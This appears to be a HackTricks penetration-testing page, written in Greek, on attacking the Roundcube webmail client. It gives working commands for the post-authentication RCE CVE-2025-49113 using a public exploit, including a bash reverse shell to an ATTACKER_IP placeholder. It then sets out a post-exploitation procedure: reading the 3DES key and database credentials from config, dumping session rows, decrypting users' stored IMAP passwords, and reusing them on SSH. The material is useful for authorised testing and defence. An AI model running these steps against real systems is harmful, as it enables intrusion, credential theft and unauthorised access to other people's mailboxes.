Roundcube

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Roundcube είναι ένας PHP webmail client που συχνά εκτίθεται σε HTTP(S) vhosts (π.χ., mail.example.tld). Χρήσιμα fingerprints:

  • Ο πηγαίος κώδικας HTML συχνά leaks rcversion (π.χ., window.rcmail && rcmail.env.rcversion)
  • Προεπιλεγμένη διαδρομή εφαρμογής σε containers/VMs: /var/www/html/roundcube
  • Κύριο αρχείο ρυθμίσεων: config/config.inc.php

Εξουσιοδοτημένο RCE μέσω PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Σύνοψη ευπάθειας

  • Η παράμετρος _from στο program/actions/settings/upload.php δεν επικυρώνεται, επιτρέποντας injection attacker‑controlled δεδομένων που το Roundcube στη συνέχεια unserializes, οδηγώντας σε gadget chain execution και remote code execution στο web context (post‑auth).

Γρήγορη εκμετάλλευση

  • Απαιτήσεις: έγκυρα Roundcube credentials και ένα προσβάσιμο UI URL (π.χ., http://mail.target.tld)
  • Public PoC αυτοματοποιεί το session handling, gadget crafting και τη ροή του upload
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Σημειώσεις

  • Η έξοδος είναι συχνά τυφλή· χρησιμοποίησε sleep N για να επιβεβαιώσεις RCE
  • Το shell που προκύπτει τρέχει συνήθως ως www-data· σε containerised deployments αναμένεται /.dockerenv και δικτύωση 172.17.0.0/16

Post‑exploitation: ανάκτηση κωδικών IMAP από sessions του Roundcube

Το Roundcube αποθηκεύει τον IMAP κωδικό του τρέχοντος χρήστη στη session (βάση δεδομένων), κρυπτογραφημένο με το server‑side 3DES key που έχει ρυθμιστεί στο config.inc.php. Με πρόσβαση στο filesystem ή στη DB του host όπου τρέχει το Roundcube μπορείς να ανακτήσεις τους κωδικούς σε plaintext και να pivot-άρεις σε άλλα mailboxes/services (το SSH reuse είναι συχνό).

  1. Διάβασε το DB DSN και το 3DES key από το config

config/config.inc.php συνήθως περιέχει:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Συνδεθείτε στη DB και dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Το session.vars field είναι ένα Base64 blob που παράγεται από το Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Τα πρώτα 8 bytes μετά το Base64‑decoding είναι το IV.

  1. Εντοπίστε το password field

Ένας γρήγορος τρόπος για να εντοπίσετε το credential μέσα στη decrypted δομή είναι πρώτα να κάνετε Base64‑decode στο vars field και να επιθεωρήσετε τα serialized entries:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Αποκρυπτογράφηση χρησιμοποιώντας το βοηθητικό του Roundcube

Το Roundcube περιλαμβάνει ένα CLI που χρησιμοποιεί την ίδια λογική rcmail->decrypt() και το διαμορφωμένο des_key:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Χειροκίνητη 3DES-CBC αποκρυπτογράφηση (προαιρετικό)
  • Μορφή του ciphertext: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, μήκος κλειδιού 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Συνήθεις τοποθεσίες

  • DB table: session (ο πίνακας users αντιστοιχίζει τα ονόματα σύνδεσης σε IDs)
  • Διαδρομή config: /var/www/html/roundcube/config/config.inc.php

Λειτουργική χρήση

  • Παλαιότερες εγγραφές του session συχνά περιέχουν τους IMAP κωδικούς προηγούμενων χρηστών· decrypt πολλαπλές εγγραφές για lateral movement σε άλλους λογαριασμούς αλληλογραφίας
  • Δοκιμάστε τα ανακτημένα credentials σε SSH ή άλλες υπηρεσίες αν υποψιάζεστε credential reuse

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks